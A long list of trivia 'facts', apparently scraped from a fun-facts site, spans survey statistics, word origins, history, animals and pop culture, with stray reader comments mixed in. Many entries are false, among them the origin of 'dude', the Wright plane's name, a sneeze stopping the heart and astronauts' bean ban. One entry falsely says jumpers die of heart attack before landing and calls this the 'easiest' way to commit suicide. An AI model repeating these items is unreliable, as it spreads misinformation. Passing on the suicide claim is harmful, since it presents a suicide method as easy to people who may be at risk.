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Every minute 47 Bibles are sold or distributed throughout the world.

4 out of 5 sing in the car.

44% of men tailgate to speed up the person in front of them.

12% of men never use their car blinkers.

The average IQ is 100, while 140 is the beginning of genius IQ.

There are over 15,000 miles of lighted neon tubing in the many signs on the Strip and downtown Las Vegas.

The average life span of London residents in the middle of the 19th century was 27 years. For members of the working class, that number dropped to 22 years.

It takes an average person fifteen to twenty minutes to walk once around the Pentagon.

81.3% would tell an acquaintance to zip his pants.

54.2% of us always wash our hands after using the toilet.

30% of us refuse to sit on a public toilet seat.

Significantly more black women die from heart disease than any other group.

78% would rather die quickly than live in a retirement home.

15% regularly go to a shrink.

14% have attended a self-help meeting.

Only 30% of us know our cholesterol level.

44% have broken a bone.

4 out of 5 of us have suffered from hemorrhoids.

49% believe in ESP.

57% have had deja vu.

10% of us claim to have seen a ghost.

33% of women lie about their weight.

62% of us pop our zits.

58% of women paint their nails regularly.

53% of women will not leave the house without makeup on.

9% of women and 8% of men have had cosmetic surgery.

Nearly 1/3 of US women color their hair.

The typical shower is 101 degrees F.

22% leave the glob of toothpaste in the sink.

2/3 of us speed up at a yellow light.

45% of us consistently follow the speed limit.

71% can drive a stick-shift car.

6% propose over the phone.

1 in 5 men proposed on his knees.

The biggest cause of matrimonial fighting is money.

2 out of 5 have married their first love.

20% of women consider their parents to be their best friends.

On average, we send 38 Christmas cards every year.

51% of adults dress up for a Halloween festivity.

28% of us have skinny-dipped. 14% with the opposite sex.

53% of us would take advice from Ann Landers.

90% of us depend on alarm clocks to wake us.

16% of us have forgotten our own wedding anniversary (mostly men).

53% read their horoscopes regularly.

66% of women and 59% of men have used a mix to cook and taken credit for doing it from scratch.

57% save pretty gift paper to reuse.

44% reuse tinfoil.

40% of us have had music lessons.

20% of us have played in a band at one time in our life.

56% of women do the bills in a marriage.

53% prefer ATM machines over tellers.

37% claim to know how to use all the features on their VCR.

Less than 10% are trilingual.

71.6% of us eavesdrop.

29% of us ignore RSVP.

45% use mouthwash every day.

Only 13% brush our teeth from side to side.

14% of us eat the watermelon seeds.

22% of all restaurant meals include French fries.

66% of us eat cereal regularly.

9% of us skip breakfast daily.

22% of us skip lunch daily.

Snickers is the most popular candy.

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"Hagiology" is the branch of literature dealing with the lives and legends of saints.

"E" is the most frequently used letter in the English alphabet, "Q" is the least.

"Almost" is the longest word in the English language with all the letters in alphabetical order.

Hairy people are called "hirsute."

A horologist measures time.

German is considered the sister language of English.

The food of the Greek gods was called Ambrosia.

A phonophobe fears noise.

A community of ants is called a colony.

A gynephobic man fears women.

A nihilist believes in nothing.

The boundary between two air masses is called a "front."

Narcissism is the psychiatric term for self-love.

A chiropodist treats hands and feet.

Hydroxydesoxycorticosterone and hydroxydeoxycorticosterones are the largest anagrams.

Kyoto, which was the Japanese capital before Tokyo, means "old capital".

A "quidnunc" is a person who is eager to know the latest news and gossip, otherwise, a busybody.

Mountains are formed by a process called orogeny.

Dr. Seuss coined the word "nerd" in his 1950 book "If I Ran The Zoo"

The phrase "jet lag" was once called "boat lag", back before airplanes existed.

 

The English-language alphabet originally had only 24 letters. One missing letter was J, which was the last letter to be added to the alphabet. The other latecomer to the alphabet was U.

The first college to use the word "campus" to describe its grounds was Princeton. "Campus" is Latin for "field."

The alteration of the architectural appearance of a city by the construction of skyscrapers and high-rise buildings is known as "Manhattanization". The term refers to the New York borough Manhattan.

The word "alcatraz" is Spanish for "pelican".

Pregnant goldfish are "twits."

In India and Iran, the part of the house reserved for women is called a "zenana."

The word "yo-yo" itself was a registered trademark of Duncan until 1965.

Mothers were originally named mama or mommy (in many languages) because they have mammary glands.

The phrase "guinea pig" originated when a tax was imposed on powder for wigs in England to help pay for the war with Napoleon. The list of those who had paid the guinea (one pound, one shilling) was posted on their parish church door. As they were the wealthy of the day, they became known as the guinea pigs.

The phrase "a red letter day" dates back to 1704, when holy days were marked in red letters in church calendars.

Beets reminded early cooks of a bleeding animal when they cut them open, so they started calling them "beets." This was derived from the French word bête, meaning "beast."

The equivalent of calling someone a jerk in English is calling them a pickle in French.

In ancient Egypt, the apricot was called the "egg of the sun."

The French equivalent of "Pumpkin" (our pet name) is calling them "Chou-Chou" which is little cabbage.

"Quisling" is the only word in the English language to start with "quis."

The word "mullet" describes a hairstyle worn, particularly in the southern USA, which is characterized by short hair on the top and sides, with very long hair in the back.

Las Vegas means "the meadows" in Spanish. Ironically, the city in the desert was once abundant in water and vegetation.

The loop on a belt that holds the loose end is called a "keeper".

The little bits of paper left over when holes are punched in data cards or tape are called Chad.

A "pogonip" is a heavy winter fog containing ice crystals.

The initials for morning and evening are based on latin words—ante meridiem and post meridiem. "Ante," of course means "before" and "post" means "after." "Meridiem" means "noon."

The side of a hammer is a cheek.

The word for "dog" in the Australian aboriginal language Mbabaran happens to be "dog."

The stress in Hungarian words always falls on the first syllable.

The difference between a "millennium" and a "chiliad"? None. Both words mean "a period of one thousand years", the former from Latin, the later from Greek.

The ball on top of a flagpole is called the truck.

Sheriff came from Shire Reeve. During early years of feudal rule in England, each shire had a reeve who was the law for that shire. When the term was brought to the United States it was shortened to Sheriff.

Facetious and abstemious contain all the vowels in the correct order, as does arsenious, meaning "containing arsenic."

"Polish" is the only word in the English language that when capitalized is changed from a noun or a verb to a nationality.

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In the game Monopoly, the most money you can lose in one travel around the board (normal game rules, going to jail only once) is $26,040. The most money you can lose in one turn is $5070.

Alcoholics are twice as likely to confess a drinking problem to a computer than to a doctor, say researchers in Wisconsin.

The gesture of a nose tap, in Britain, means secrecy or confidentiality. In Italy, a tap to the nose signifies a friendly warning.

A 41-gun salute is the traditional salute to a royal birth in Great Britain.

To prevent some numbers from occurring more frequently than others, dice used in crap games in Las Vegas are manufactured to a tolerance of 0.0002 inches, less than 1/17 the thickness of a human hair.

A car uses 1.6 ounces of gas idling for one minute. Half an ounce is used to start the average automobile.

A car that shifts manually gets 2 miles more per gallon of gas than a car with automatic shift.

A car operates at maximum economy, gas-wise, at speeds between 25 and 35 miles per hour.

Owing to a faulty cornerstone, the church of St. John in Barmouth, Wales, crashed in ruins a minute after it was finished. It was rebuilt, and the new edifice has endured to the present day.

Nobody knows where the body of Voltaire is. It was stolen in the nineteenth century and has never been recovered. The theft was discovered in 1864, when the tomb was opened and found empty.

The height and width of modern American battleships was originally determined by insuring they had to be able to go beneath the Brooklyn Bridge and through the Panama Canal.

Astronauts are not allowed to eat beans before they go into space because passing wind in a spacesuit damages them.

On June 10, 1958, a tornado was crashing through El Dorado, Kansas. The storm pulled a woman out of her house and carried her sixty feet away. She landed, relatively unharmed, next to a phonograph record titled "Stormy Weather."

If you need to dial the telephone and your dial is disabled, you can tap the button in the cradle. If, for example, you need to dial 911, you can tap the button 9 times, then pause, then tap once, then again.

The Nike "swoosh" logo was designed by University of Oregon student Carolyn Davidson in 1964, four years after business undergraduate Phil Knight and track coach Bill Bowerman founded the company they originally called Blue Ribbon Sports. Ms. Davidson was paid $35 dollars for her design.

Kate "God Bless America" Smith sold more U.S. war bonds than anyone else during World War II. She sold $600 million worth.

The first person selected as the Time Magazine Man of the Year - Charles Lindbergh in 1927.

Studebaker was the only major car company to stop manufacturing cars while making a profit on them.

According to suicide statistics, Monday is the favored day for self-destruction.

St. Stephen is the patron saint of bricklayers.

The Dome could contain two Wembley Stadiums or the Eiffel Tower on its side. You could even fit the Great Pyramid of Giza inside it.

The translucent roof is 50 meters high at the center and strong enough to support a jumbo jet.

The Dome is supported by 43 miles of high-strength cable which holds up 100,000 square meters of fabric.

Woodbury Soap was the first product to show a nude woman in its advertisements. The year - 1936. The photo, by Edward Steichen, showed a rear full-length view of a woman sunbathing - wearing only sandals.

1960 was the last model year for Edsel and Desoto.

A lead pencil is good for about 50,000 words.

The earliest recorded case of a man giving up smoking was on April 5, 1679, when Johan Katsu, Sheriff of Turku, Finland, wrote in his diary "I quit smoking tobacco." He died one month later.

The newspaper serving Frostbite Falls, Minnesota, the home of Rocky and Bullwinkle, is the Picayune Intellegence.

The official time ball for the U.S. is on top of the U.S. naval Observatory in Washington, DC As early as 1845, the U.S. Navy dropped a time ball every noon from atop a building on a hill overlooking Washington, DC. People from many miles could set their watches at noon. Ships anchored in the Potomac River could check their chronometers.

The Times Square "time ball" is named the "Star of Hope". It was specially made for this year and contains 504 glass crystals cut into triangles, 600 light bulbs, 96 big lights, and 92 mirrors.

The U.S. Library of Congress has compiled a 232-source bibliography on the subject of when, properly speaking, centuries roll over. Almost all of the sources agree that the twentieth century will not end until December 31, 2000.

It is believed that Shakespeare was 46 around the time that the King James Version of the Bible was written. In Psalms 46, the 46th word from the first word is shake and the 46th word from the last word is spear.

According to Scientific American magazine: if you live in the northern hemisphere, odds are that every time you fill your lungs with air at least one molecule of that air once passed thru Socrates lungs.

The name of the dog on the Cracker Jack box is Bingo.

Electric Christmas tree lights were first used in 1895. The idea for using electric Christmas lights came from an American, Ralph E. Morris. The new lights proved safer than the traditional candles.

Rudolph, the Red-Nosed Reindeer was conceived by author Robert May in 1939. Two other names he thought of before deciding on Rudolph were Reginald and Rollo.

 

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When someone commits suicide while jumping off a building, so much adrenaline builds up that you have a heart attack and die before hitting the ground. Thus making this way of commiting usicide basically the easiest.

When Swiss cheese ferments, a bacterial action generates gas. As the gas is liberated, it bubbles through the cheese leaving holes. Cheese-makers call them "eyes."

When the Black Death swept across England one theory was that cats caused the plague. Thousands were slaughtered. Ironically, those that kept their cats were less affected, because they kept their houses clear of the real culprits, rats.

When the English colonists sat down for their first Thanksgiving dinner on February 22, 1630, an Indian chief named Quadoquina offered a deerskin bag filled with freshly popped corn. Thus popcorn made its first appearance to non-native North Americans.

When the German army invaded France in WWI, they actually followed the schedules of the local trains to invade (it was faster by rail and they wanted to surprise France), checking the timetable and abiding by it. And France, whose army was waiting at the border, sent taxis to pick up and transport the troops to counter the attack!

When the income tax first started in 1861, the maximum tax was 3%.

When the moon is directly over your head, you weigh slightly less.

When the temperature drops, the eyesight reaction time of insects (like the dragonfly and some animals like tortoises) decrease and thats why they can be caught early in the morning or at night by predators like birds whose eyesight reaction times are unaffected by temperature.

When the Titanic sank, 2228 people were on it. Only 706 survived.

When the Titanic sunk there was 7,500 lbs. of ham on it

When the University of Nebraska Cornhuskers play football at home, the stadium becomes the third largest city in the state.

When the X-ray was discovered, a law in New Jersey was written forbidding the use of "X-ray opera glasses."

When Thomas Edison died in 1941; Henry Ford captured his last dying breath in a bottle.

When you flush a toilet, an invisible cloud of water [full of germs] shoots six feet in the air.

When you give someone roses, the color can have a meaning. The meaning of rose colors: Red = Love and respect, Deep pink = Gratitude, appreciation, Light pink = Admiration, sympathy White = Reverence, humility, Yellow = Joy, gladness,Orange = Enthusiasm, desire, Red & yellow blend = Gaiety, joviality,Pale blended tones = Sociability, friendship

When you put a seashell to your ear, the sound you hear is not the waves, but actually the echo of the blood pulsing in your own ear.

When you see a sign "City of Timbukto 40 miles" it means actually it is 40 miles to the city hall of that city sign.

When you sneeze, all your bodily functions stop, even your heart.

Whenever people accidentally trip over themselves whilst walking, they automatically go into 'survival mode' and try to pretend like they meant it (eg. they start into a jog). How hilarious is it watching someone do that?!

While fighting with the French underground during World War II, Jacques-Yves Cousteau invented the aqualung, the self-contained device that supplies air under pressure for underwater divers.

While many treaties have been signed at or near Paris, France (including many after WWI and WWII), nine are actually known as the "Treaty of Paris": Seven Years' War (1763), American Revolutionary War (1783), French-Swede War (1810), France vs Sixth Coalition (1814), Battle of Waterloo (1815), Crimean War (1856), Spanish-American War (1898), union of Bessarabia and Romania (1920), establishment of European Coal and Steel Community (1951).

While sailing along the Caribbean coast of South America in 1499, the Spanish explorer Alonso de Ojedo saw Indian houses built on stilts over the water. The area reminded him of Venice, and he named it Little Venice, which in Spanish is Venezuela.

While seeking a name and package design for the world's first self-rising pancake mix, creator Chris L. Rutt saw a vaudeville team known as Baker and Farrell whose act included Baker singing the catchy song "Aunt Jemima" dressed as a Southern mammy. Inspired by the wholesome name and image, Rutt appropriated them both to market his new pancake mix.

While sleeping, one man in eight snores, and one in ten grinds his teeth.

While the US government's supply of gold is kept at Fort Knox, its supply of silver is kept at the Military Academy at West Point, NY.

Whiskey was first brewed in the United States in 1640. It was made from a mixture of corn and rye.

Whitcomb L. Judson, the inventor of the zipper, originally intended his invention to save people the trouble of buttoning and unbuttoning their shoes every day. He named it the "Clasp locker and unlocker for shoes."

White out was invented by the mother of Mike Nesmith (Formerly of the Monkees).

Whoever submitted the erroneous Spanish info should be pelted with soggy tacos and refried beans. HOMBRE is "man," HOMBRO is "shoulder," and HOMBURG is a kind of hat just as it is in English.

Whole wheat bread has more iron, vitamins and dietary fiber than white bread.

Why? It is a felony for a wife to open a husband's mail.

Widow is the only female form in the English language that is shorter than its corresponding male term (widower).

Wild Bill Hickok was killed playing poker, holding two pairs aces and eights, which has become known as 'Dead Man's Hand.'

William Fox, the founder of 20th Century Fox, was bankrupt a few years after selling his studio, and served a prison sentence in Pennsylvania for bribing a judge.

William Henry Harrison (1773-1841) was the first US president to die in office. At 32 days, he also had the shortest term in office.

William Howard Taft had a bathtub that could hold four people installed in the white because he couldn't fit into the present one.

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There is no alcohol left in food that's cooked with wine. The alcohol evaporates at 172 degrees Fahrenheit.

There is no difference in flavor or nutritional value between brown and white eggs. Aside form color, they are identical. Most white eggs come from White Longhorns and browns come from a commercial cross of Rhode Island Reds and Barred Plymouth Rocks.

There is no ice covering Iceland.

There is no single cat called the panther. The name is commonly applied to the leopard, but it is also used to refer to the puma and the jaguar. A black panther is really a black leopard.

There is no solid proof of who built the Taj Mahal.

There is no such thing as a banana tree. Bananas grow on plants.

There is only ONE word in the English language with THREE CONSECUTIVE SETS OF DOUBLE LETTERS.... Bookkeeper

There is over 70,000,000 rats in New York, That is an average of about 9 rats per person

There is zero gravity at the center of the earth.

There really was a Cyrano de Bergerac. He lived from about 1620 to 1655, had a big nose and dueled. He was also a science fiction writer who was the first person in history to suggest that a rocket could carry someone into space.

There was no soap in the ancient Mediterranean world. Olive oil was used to wash the body in addition to cooking.

There was once a law in Salem Virginia that made it illegal to leave home without knowing where you were going.

There were 840 soldiers in the regular army when the U.S. War Department was established in 1789. Their job was to supervise public lands and guard the Indian frontier.

There's a town in New Mexico called Pie Town that consists of two restaurants and a post office. It was originally a stoppong place along a long stretch of road. It's famous for having good pies!

There's an average of of 178 sesame seeds on a Big Mac bun.

There's Arsnick(a dangerous poison) in dirt

There's enough water preassure in one onion cell to cause a steam engine to explode.

Thirteen muscles are used to make a person smile.

Thirty-five percent of the people who use personal ads for dating are already married.

This is what the red, white, and blue on the US flag represent: The Continental Congress left no record to show why it chose the colors. However, in 1782, the Congress of the Confederation chose these same colors for the Great Seal of the United States and listed their meaning as follows: white to mean purity and innocence, red for valor and hardiness, and blue for vigilance, perseverance, and justice. According to legend, George Washington interpreted the elements of the flag this way: the stars were taken from the sky, the red from the British colors, and the white stripes signified the secession from the home country. However, there is no official designation or meaning for the colors of the flag.

This may have been true on an older $5 bill, but I just scanned in one of the new ones and took a real close look and found nothing. If anyone finds it on an old one, please send in a pic or let me know.

This one is deep...think about the cultural impact this could have: NO WAR HAS BEEN FOUGHT WHERE BOTH COUNTRIES HAD A McDonalds

This sounds feasible, but isn't true! Crapper actually invented the automatic shut-off mechanism used in the modern toilet.

Thomas Edison got patents for a method of making concrete furniture and a cigar which was supposed to burn forever.

Thomas Edison was afraid of the dark.

Thomas Edison, lightbulb inventor, was afraid of the dark

Thomas Jefferson invented the dumbwaiter.

Thomasville, North Carolina, prohibits airplanes from flying over the town on Sundays during the hours between 11 a.m. and 1 p.m.

Those British are sophisticated people, in almost everything except their choice of coffee. They still drink instant ten-to-one over fresh brewed.

Those hard, plastic points on the ends of shoelaces are called aglets.

Though it goes to 10, 9 is estimated to be the point of total tectonic destruction from an earthquake (2 is the smallest that can be felt unaided.)

Thousands of people watched the Battle of Bunker Hill take place. People in the Boston area sat on rooftops, in trees, on church steeples, and in the rigging of ships in the harbor to watch the American revolutionaries battle the British.

Three chemicals are used to execute criminals by lethal injection. First, Sodium Thiopental is injected, causing the inmate to fall into a deep sleep. The second chemical agent, Pancuronium Bromide, a muscle relaxer, follows. This causes the inmate to stop breathing due to paralyses of the diaphragm and lungs. Finally, Potassium Chloride is injected, stopping the heart.

Three million people in the United States have an impairment of the back or limbs that is a direct result of an accidental fall.

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The winter of 1932 was so cold that Niagara Falls froze completely solid.

The Wizard of Oz was a Broadway musical 37 years before the MGM movie version was made. It had 293 performances and then went on a tour that lasted 9 years.

The word "checkmate" in chess comes from the Persian phrase "Shah Mat," which means, "The King Is Dead."

The word "coach" is derived from the village of Kocs, Hungary, where coaches were invented and first used.

The word "crap" came from Thomas Crapper-a famous plumber in the early days of the toilet.

The word "dude" is the name for an infected elephant butt hair.

The word "earthling" was first found in print in 1593.

The word "homosexual" was not coined until 1869 by the Hungarian physician Karoly Maria Benkert.

The word "honcho" comes from a Japanese word meaning "squad leader" and first came into usage in the English language during the American occupation of Japan following World War II.

The word "karate" means "empty hand."

The word "lethologica" describes the state of not being able to remember the word you want.

The word "maverick" came into use after Samuel Maverick, a Texan refused to brand his cattle. Eventually any unbranded calf became known as a Maverick.

The word "MOW" can be read the same way upside-down, hence the word ambigram. Many other words can be written differently using special characters of writing to make the word appear the same way from different points.

The word "piano" is really an abbreviation for the word "pianoforte."

The word "pure" appears on the scroll held by the Quaker pictured on the packages of Quaker Oats cereal.

The word "queue" is the only word in the English language that is still pronounced the same way when the last four letters are removed.

The word "samba" means "to rub navels together."

The word "set" has more definitions than any other word in the English language.

The word "supercalifragilisticexpialidocious," from the movie Mary Poppins, was added to the Oxford dictionary in 1964.

The word "tip" dates back to the old London coffeehouses. Conspicuously placed brass boxes etched with the inscription, "To Insure Promptness," encouraged customers to pay for efficient service. The resulting acronym, TIP, has become a byword.

The word "trivia" comes from the Latin "trivium" which is the place where three roads meet, a public square. People would gather and talk about all sorts of matters, most of which were trivial.

The word Assassin is derived from a Middle Eastern religious and political sect known as Hashishins. The name means 'hashish smoker'which refers to the practice of taking hashish to induce visions of ecstacy before murdering their enemies as their religious duty. They were very good at what they did.

The word 'byte' is a contraction of 'by eight.'

The word 'cappuccino' is the result of several derivations, the original of which began in 16th century. The Capuchin order of friars, established after 1525, played an important role in bringing Catholicism back to Reformation Europe. Its Italian name came from the long, pointed cowl, or cappuccino, derived from cappuccino, "hood," that was worn as part of the order's habit. The French version of cappuccino was capuchin, from which came English Capuchin. In Italian cappuccino went on to describe espresso coffee mixed or topped with steamed milk or cream, so called because the color of the coffee resembled the color of the habit of a Capuchin friar. The first use of cappuccino in English is recorded in 1948 in a work about San Francisco. There is also the story line that says that the term comes from the fact that the coffee is dark, like the monk's robe, and the cap is likened to the color of the monk's head.

The word gargoyle comes down from the Old French: gargouille, meaning throat or gullet. This is also the origin of the word gargle. The word describes the sound produced as water passes the throat and mixes with air. In early architecture, gargoyles were decorative creatures on the drains of cathedrals.

The word 'geography' is derived from the greek words geo (the Earth) and graphein (to write).

The word gymnasium comes from the Greek word gymnazein which means to exercise naked.

The word 'lethologica' describes the state of not being able to remember the word you want.

The word 'monosyllable' actually has five syllables in it.

The word 'news' did not come about because it was the plural of 'new.' It came from the first letters of the words North, East, West and South. This was because information was being gathered from all different directions.

The word 'pixel' is a contraction of either 'picture cell' or 'picture element'.

The word quisling comes from the name of Major Vidkun Quisling, a Norwegian who collaborated with the Germans during their occupation of Norway. The word now means "traitor."

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The sandwich is named for the Fourth Earl of Sandwich (1718-92), for whom sandwiches were made so that he could stay at the gambling table without interruptions for meals.

The Santa Maria was the only one of Columbus's ships not to return to Spain. It hit a reef on December 5, 1492 and sank.

The saying 'once in a blue moon ' refers to the occurrence of two full moons during one calendar month. The last two occurred in January & March 1999. The next one isn't until the end of 2001.

The science-fiction series "Lost in Space" (set in the year 1997) premiered on CBS in 1965.

The sea contains about 1/2 of the world's known animal groups

The Sea of tranquility is found on the moon.

The SEALs have been deployed in Vietnam, Laos, Panama, Bosnia, Haiti, Somalia, and Colombia.

The search engine "Lycos" is named for Lycosidae, the Latin name for the wolf spider family. Unlike other spiders that sit passively in their web, wolf spiders are hunters, actively stalking their prey.

The secretary-bird swallow hen's egg whole without breaking its shell.

The sentence "The quick brown fox jumps over a lazy dog." uses every letter of the alphabet!

The setting sun is redder than the rising sun because the air at the end of the day is generally dustier than it is at the beginning of the day.

The seven archangels are Michael, Gabriel, Raphael, Uriel, Chamuel, Jophiel, and Zadkiel.

The Seven Deadly Sins are lust, pride, anger, envy, sloth, avarice and gluttony.

The seven hills of Rome are the Palatine (on which the original city was built), the Capitoline, Quirinal, Viminal, Esquiline, Caelian, and Aventine.

The seven virtues are prudence, courage, temperance, justice, faith, hope and charity.

The seven wonders of the ancient world werethe Egyptian Pyramids at Giza, Hanging Gardens of Babylon, Statue of Zeus at Olympia, Colossus of Rhodes or huge bronze statue near the Harbor of Rhodes that honored the sun god Helios, Temple of Artemis at Ephesus, Mausoleum at Halicarnassus, Lighthouse at Alexandria

The sewing machine was patented on August 12, 1851, by Isaac Singer of Pittstown, New York.

The sex of crocodiles is determined by the incubation temperature. Eggs incubated at temperatures below 85 degrees become females. Those incubated above 95 degrees become males. 2. Crocodiles are the closest living relatives to birds.

The shallowest sea is the sea of Azov.It is 13 meters at its deepest.

The shape of a plants' collenchyma cells and the shape of the bubbles in beer foam are the same they are orthotetrachidecahedrons.

The shore of the Dead Sea in Israel-Jordan is 1312 feet (400 meter) below sea level.

The shortest "-ology" (study of) word is oology, the study of eggs.

The shortest British monarch was Charles I, who was 4'9".

The shortest verse in the Bible consists of two words: "Jesus wept" (John 11:35).

The shortest war in history was between Zanzibar an England in 1896. Zanzibar surrendered after 38 minutes.

The shortest word in the English language with all its letters in alphabetical order is the word "almost."

The side of a hammer is a cheek.

The silhouette on the MLB logo is Harmon Killebrew.

The silkworm consumes 86000 times its own weight in 56 days.

The single highest temperature ever recorded in U.S. history was 134 degrees Fahrenheit. It was recorded in Greenland Ranch, CA on July 10, 1913. The lowest recorded temperature was minus 80 degrees on January 23, 1971 in Prospect Creek, AK.

The six most dangerous occupations in America are; football player, firefighter, race-car driver, astrnaut, police officer, and fisherman.

The size of a newly born kangaroo is 2.5 cms.

The size of a raindrop is around 0.5 mm 2.5 mm, and they fall from the sky on average 21 feet per second.

The skipper's real name on Gilligan's Island is Jonas Grumby. It was mentioned once in the first episode on their radio's newscast about the wreck.

The slanted line that divides dates, fractions, choices, etc. (6/1/04) is called a virgule.

The sloth (a mammal) moves so slowly that green algae can grow undisturbed on it's fur

The sloth moves so slowly that it's fur offers a comfortable environment for algae to grow.

The slowest trainee on the SEALs obstacle course must wear a pink T-shirt that reads, "Always a Lady".

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The model of King Kong used in the original movie was only 18 inches tall.

The modern Olympic Games were held in the first time in 1896 at Athens and were then followed by the 1900 Paris games. The winter games were added in 1924.

The mola mola or ocean sunfish lays up to 5,000,000 eggs at one time.

The Mona Lisa, by daVinci, is 2'6" by 1'9".

The Mona-Lisa, now hanging in the Louvre museum in Paris, is valued today at $100,000,000.

The monastic hours are matins, lauds, prime, tierce, sext, nones, vespers and compline.

The Montreal Canadians of the mid-1950s are the only team to win five straight Stanley Cup championships.

The Monty Python movie "The Life of Brian" was banned in Scotland.

The moon actually has mirrors on it. They were left there by astronauts who wanted to bounce laser beams off them, so that the distance to the moon can be measured.

The most abundant metal in the Earth's crust is aluminum.

The most collect calls are made on father's day.

The most common blood type in the world is Type O. The rarest, Type A-H, has been found in less than a dozen people since the type was discovered.

The most common disease in the world is tooth - decay.

The most common injury in bowling is a sore thumb.

The most common street name in the United States is Second Street. First Street isn’t first because many times the designation is replaced with the name Main Street.

The most expensive book or manuscript ever sold at an auction was The Codex Hammer, a notebook belonging to Leonardo da Vinci. It sold for $30.8 million.

The most expensive movie memorabilia ever sold at an auction was Clark Gable’s Academy Award for It Happened One Night. It sold for $607,500 on December 15, 1996.

The most expensive painting ever sold at auction was Portrait of Dr. Gachet by Vincent van Gogh. On May 15, 1990, Ryoei Saito paid $75 million for it. He followed up that spending spree by paying the second-highest price ever, $71 million for Au Moulin de la Galette by Pierre Auguste Renoir, just two days later.

The most frequently seen birds at feeders across North America last winter were the Dark-eyed Junco, House Finch and American goldfinch, along with downy woodpeckers, blue jays, mourning doves, black-capped chickadees, house sparrows, northern cardinals and european starlings.

The most searched thing on yahoo.com every year is porn.

The most snow accumulation in a one-day period was 75.8 inches at Silver Lake, Colorado, in April 1921.

The most successful X-rated movie of all time is Deep Throat. It cost less than $50,000 to make it and has earned more than $100 million.

The most used line in the movies is "Lets get out of here."

The most widely accepted legend associated to the discovery of coffee is of the goatherder named Kaldi of Ethiopia. Around the year 800-850 A.D., Kaldi was amazed as he noticed his goats behaving in a frisky manner after eating the leaves and berries of a coffee shrub. And, of course, he had to try them!

The most widely culticated fruit in the world is the Apple.The second is the Pear.

The motto for the Olympic Games is Citius Altius Fortius. Translated, it means Faster Higher Stronger.

The mouse is the most common mammal in the US.

The movie As Good As It Gets is called Mr. Cat Poop in China.

The movie Quo Vadis had 30,000 extras.

The Museum of Modern Art in New York City hung Matisse's 'Le Bateau' upside-down for 47 days before an art student noticed the error.

The muzzle of a lion is like a fingerprint no two lions have the same pattern of whiskers.

The nail of our middle finger grows the fastest and the nail of our thumb grows slowest.

The name "Uncle Sam" for the U.S. came from a person known as Uncle Sam Wilson of Troy, NY, who supplied food for the U.S. army in the war of 1812.

The name Coca-Cola in China was first rendered as 'Ke-kou-ke-la.' Unfortunately, the Company did not discover until after thousands of signs had been printed that the phrase means 'bite the wax tadpole' or 'female horse stuffed with wax' depending on the dialect. Coke then researched Chinese characters and found a close phonetic equivalent, 'ko-kou-ko-le,' which can be loosely translated as 'happiness in the mouth.'

The name for Oz in the Wizard of Oz was thought up when the creator Frank Baum looked at his filing cabinet and saw A-N and O-Z.

The name for the middle part of the nose (the part that separates the nostrils) is called a chaffanue

The name 'Intel' stems from the company's former name, 'Integrated Electronics'.

The name of all the continents end with the same letter that they start with.

The name of the dog from "The Grinch Who Stole Christmas" is Max.

The name of the dog on the Cracker Jack box is Bingo.

The name of the first airplane flown at Kitty Hawk by the Wright Brothers, on December 17, 1903, was Bird of Prey.

The name of the Russian space station, Mir, means "peace."

The name Santa Claus is a corruption of the Dutch dialect name for Saint Nicholas Sint Klass.

The name Wendy was made up for the book "Peter Pan". There was never a recorded Wendy before.

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The flag of the Philippines is the only national flag that is flown differently during times of peace or war. A portion of the flag is blue, while the other is red. The blue portion is flown on top in time of peace and the red portion is flown in war time.

The flavor we think of as bubblegum is a combination of wintergreen, vanilla and cassia, a form of cinnamon.

The flea can jump 350 times its body length. It's like a human jumping the length of a football field.

The fleshy projection above the bill of a turkey is called a snood.

The following is said to be the toughest tongue twister in the English language: "sixth sick sheik's sixth sheep's sick".

The football huddle started at Gallaudet University (the world's only accredited four-year liberal arts college for the deaf) in the 19th century when the football team found that opposing teams were reading their signed messages and intercepting their plays.

The forth railway bridge is a meter longer in summer than in winter due to thermal expansion.

The Four Freedoms by Norman Rockwell are the most widely reproduced and distributed paintings in history.

The four highest grossing movies of the 1940s were all animated motion pictures by Disney (Bambi, Pinnochio, Fantasia, and Cinderella).

The Four Horsemen of the Apocalypse, named in the Bible's Book of Revelation, are Conquest, Slaughter, Famine, and Death.

The Four Horsemen of the Fighting Irish of Notre Dame played together for the last time in 1925, as the Irish downed Stanford in the Rose Bowl, 27-10. The Four Horsemen were Jim Crowley, Elmer Layden, Don Miller and Harry Stuhldreher.

The four principal characters from the cartoon series "The Chipmunks" are Alvin, Simon, Theodore, and Dave.

The fragrance of flowers is due to the essences of oil which they produce.

The French philosopher, Voltaire, reportedly drank fifty cups of coffee a day.

The Fresh Kills Landfill on Staten Island, NY opened in 1948 and is the world's largest landfill. It covers 3,000 acres and receives 14,000 tons of garbage a day. It's scheduled to close in 2002.

The Fresh Kills Landfill site on Staten Island, New York, opened in 1948, is the world's largest. It covers 3,000 acres and receives up to 14,000 tons of garbage a day. It is scheduled to reach capacity and close by the year 2002.

The fruit of the Cacao tree grow directly from the trunk. They look like small melons, and the pulp inside contains 20 to 50 seeds or beans. It takes about 400 beans to make a pound of chocolate.

The full name of Harriet Beecher Stowe's novel Uncle Tom's Cabin is actually Uncle Tom's Cabin; or, Life Among the Lowly.

The full Spanish name of the city of Los Angeles is "El Pueblo de Nuestra Señora la Reina de los Angeles de la Porciuncula." Translated, it means "The town of Our Lady the Queen of the Angels of the Little Portion.”

The fungus called truffles can cost $800 to $1,500 per pound. They are sniffed out by female pigs, which detect a compound that is in the saliva of male pigs as well. The same chemical is found in the sweat of human males.

The furthest point from any ocean would be in China.

The fuzz on a tennis ball is intentionally included as a way to give the ball some definite action when it hits the court. It also slows the flight of the ball through the air.

The game of volleyball was invented in 1895 by William G. Morgan.

The Garfish has green bones.

The gases emitted from a banana or an apple can help an orange ripen. (Not sure which fruits are concerned).

The gazelle is a kind of antelope.

The gender of Reptiles are determined not by the sex genes, but by the temperature in which the egg is incubated. A certain temperature will produce a male and vice versa for a female.

The genre of art known as Cubism derived its name from a belittling remark made by Matisse in reference to a Graque painting. Matisse said that the landscape looked as though it were wholly made up of little cubes.

The Genus and species of a gorilla are Gorilla gorilla.

The geographic center of the United States is Smith County, KS. The geographic center of North America is Pierre County, ND.

The giant squid has the largest eyes in the world.

The giant squid is the largest creature without a backbone. It weighs up to 2.5 tons and grows up to 55 feet long. Each eye is a foot or more in diameter.

The gila monster is the only poisonous lizard in the United States.

The giraffe has a black tongue which is 14 inches long.

The giraffe has the highest blood pressure of any animal.

The giraffe is the only animal born with horns.

The glue on Israeli postage is certified kosher.

The glue on Israeli postage stamps is certified kosher.

